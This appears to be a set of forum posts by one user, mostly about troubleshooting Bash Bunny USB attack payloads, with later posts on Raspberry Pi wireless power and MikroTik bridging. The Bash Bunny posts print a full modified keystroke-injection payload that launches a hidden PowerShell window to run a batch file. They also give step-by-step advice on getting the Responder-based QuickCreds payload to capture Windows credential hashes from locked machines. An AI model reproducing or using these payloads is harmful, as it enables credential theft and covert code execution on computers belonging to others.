dbum

What is your target machine's OS? Solid purple is the "setup" stage, there are actually two red blinking errors for this payload. if the red light is on about as long as it is off, then it is not seeing the responder package (this has to be installed - See sticky forum post) and if the red light is blinking where the light is off more than it is on (quick blink), then the issue is that the target did not get an IP address from the bb. This may be due to the wrong ATTACKMODE depending on what the target OS is.

I'm not sure what the question is? If your Powershell script works, then why couldn't you use that? If a high throughput is not needed on the network adapter, you can just use ATTACKMODE RNDIS_ETHERNET RNDIS_SPEED_10000 **you will need fw 1.3 This will connect the bb @ 10Mb and will most likely not be your "default" device. I do like the PS command! Thanks!

Here is one that I modified (original credit to RalphyZ). This is mad to run "ms.bat" stored in the payloads dir. I think this what you're looking for? # Magenta solid LED SETUP # Set the attack mode ATTACKMODE HID STORAGE # Get the switch position GET SWITCH_POSITION Check if ms.bat is present if [ ! -f "/root/udisk/payloads/${SWITCH_POSITION}/ms.bat" ] ; then LED FAIL exit 1 fi # Start the attack - yellow single blink LED ATTACK # Run the Batch File QUACK GUI r QUACK DELAY 100 QUACK STRING powershell -WindowStyle Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\${SWITCH_POSITION}\\ms.bat') -e cmd.exe" QUACK ENTER # Green 1000ms VERYFAST blink followed by SOLID LED FINISH exit 0

Actually, as I keep reading that, I'm not sure if that is 100% true or not. I will continue to look, but I have ran responder manually watching exactly what it would respond to and not and I just don't see anything that would trigger sending the hashes while the computer is locked. Yeah it takes advantage of wpad (if its on), and will probably trigger if you have recently used network shares / mapped drives but on regular Windows 10 computer that is locked I'm starting to lose faith. :(

Windows 10 has put some measures in place to defend against this: https://blogs.technet.microsoft.com/ash/2016/03/02/windows-10-device-guard-and-credential-guard-demystified/ http://www.alex-ionescu.com/blackhat2015.pdf You could probably still use HID emulation to get the computer to "reach" out for responder but that would obviously require the computer to be a in a "logged in" state. I am going to go cry.

Does it capture any creds when you submit that box? You don't need a valid login, just send anything and see if the Bunny stops blinking Yellow. Are you getting anything in the loot folder? Do you have any network shares you can try as well? I finished reading the other forum topic and learned about running responder from the command line. I think this could help figure out what is not working properly. Like I said, I've used this on other computers and have not had any issues so I'm thinking maybe it is something that Win 10 is doing to mitigate this attack. It is hard to troubleshoot when everything is working right but I did see the same as you after removing all save LAN networked shares from the computer. Do you have any local network shares that you could try to see if that causes the payload to finish?

Before I had tried it on a Domain connected Windows 7 machine and that worked with no issues. (lots of authenticated connections). I did see in the logs where it hits a "proxysrv" 2017-05-07 22:11:55,000 - [*] [LLMNR] Poisoned answer sent to 172.16.64.10 for name proxysrv So then I tried it on my Windows 10 Surface (Fully updated). This has a Microsoft account with Windows Hello enabled. Here are my results with that: The first time I plugged in, about 10 seconds later it had the creds (Windows was logged in). After reviewing the logs it had actually picked up on a network share that I had used recently (My home NAS). It had picked up the Microsoft account hashes (they look like they would be a beast to crack if that is even possible). Next I used "net use" and looked at my network sessions and removed them "net use /DELETE \\Foo" Then I plugged back in and I'm sitting here writing this the whole time with it flashing yellow (nothing to pickup). I have tried initiating it various ways without going to a network share and have been unsuccessful thus far. I'm pretty sure If I go to a valid network share it will grab the hashes but that's not very automated and probably wouldn't work via the lock screen for sure. This would probably work most of the time on a Domain network full of shares but getting it to work on a little standalone machine is proving to need a little coaxing. So, the lights have been flashing yellow for about 10 minutes or so and I went to a network share that requires login, even being prompted for login, still didn't capture (waited a while), then entering even a bad password the BB lit up green. I guess Windows 10 knows not to send Microsoft accounts since they would not be used for network shares? Which I guess in reality, if you have no hashes worth getting, then what's the point in getting them? I will continue to look into and let you know if I find out anything else. I've been reading a little from this page: Its a long topic and I've only read the first page (it is for LAN turtle but same principle). May be something in there that might help. I'll stay in touch (not sure if it will be today or tomorrow though).

I can try that as well when I get my rig set up. Probably be Monday.

Also, I'm pretty sure target has to be logged in or on Lock screen. Can't be at the login screen. I could be wrong on this but I think that's how it works.

What OS is the target? I would start by logging in via serial in arming mode : https://wiki.bashbunny.com/#!./index.md#Connecting_to_to_the_Bash_Bunny_Serial_Console_from_Windows and making sure that you have Responder properly installed ls /tools/responder Should show this: root@bunny:~# ls /tools/responder DumpHash.py Responder.db fingerprint.pyc packets.pyc tools LICENSE Responder.py logs poisoners utils.py README.md certs odict.py servers utils.pyc Report.py files odict.pyc settings.py Responder.conf fingerprint.py packets.py settings.pyc Make sure that Responder.py is there. If not responder is not installed and QuickCreds will not work.

I guess that I could get a USB cable and cut it then run it through a multi-meter and see if any power is going through it after the ifconfig statement. I ran across this as well that I bet you could adapt to fully remove usb connectivity by controlling it with the Pi's IO pins https://www.cdw.com/shop/products/IOGEAR-2-Port-USB-2.0-Auto-Sharing-Switch/1691857.aspx?cm_cat=GoogleBase&cm_ite=1691857&cm_pla=NA-NA-IOR_US&cm_ven=acquirgy&ef_id=V4kGJwAABFSiqux7:20170623210440:s&gclid=CjwKEAjw-LLKBRCdhqmwtYmX93kSJAAORDM6sHEZfyy7JaDajuRpdaABZ3lpakpL5x3yovoyipiHIRoCK7jw_wcB&s_kwcid=AL!4223!3!198553132056!!!g!369923655287!

Sure, but it may be Sunday or Monday until I can get to it. Busy weekend planned. I'm not sure that ether measurements will vary too much. It seemed like the input power stayed fairly constant under different txpower (didn't try pushing huge amounts of data though) and I really don't think that would make the antenna power change. I can look into further as soon as I have a little time though. I had to cut testing short this morning to get to work :(

Ok. So I did some testing this morning and this is what I came up with (it has been hectic at work today so I haven't been able to post until now): This was using an Alpha AWUS036 and monitoring the output (from another device - Mikrotik) and also monitoring the power going to the Raspberry pi 2 Here was my setup: My Pi, Mikrotik mAP and Alpha AWUS036 With antenna on - this was steady and remained the same through the duration (increasing txpower on antenna from 100mw to 1000mw) At 100mw At 1000mw So, just running the command 'ifconfig wlan0 down' Does turn off the Green LED on the device and monitor no longer registers Input power is greatly reduced (This stayed like this until turning the interface back on) It really appears that using ifconfig (could be used in whatever shell scripts you are using / cron / etc.) actually cuts the power to the device or at least puts it into a very low power state. Hope these findings help you on your journey!

Are you looking to reduce power consumption (running off battery) or just looking to not have the wireless visible to the world? If you are not worried about any additional power consumption I think you would be fine just using ifconfig <interface> down / up in a shell script and be fine. If you are looking for power savings this may be a little more difficult (I'm assuming).

and one other thing, if you are looking to bridge (layer 2) wired connections to an existing WLAN, you will have to route traffic (device can be used as an AP or station) vs. bridge. This is a limitation of 802.11 and not the device (unless the WiFi you are connecting to is another MikroTik device - they have made proprietary "workarounds" to bypass this).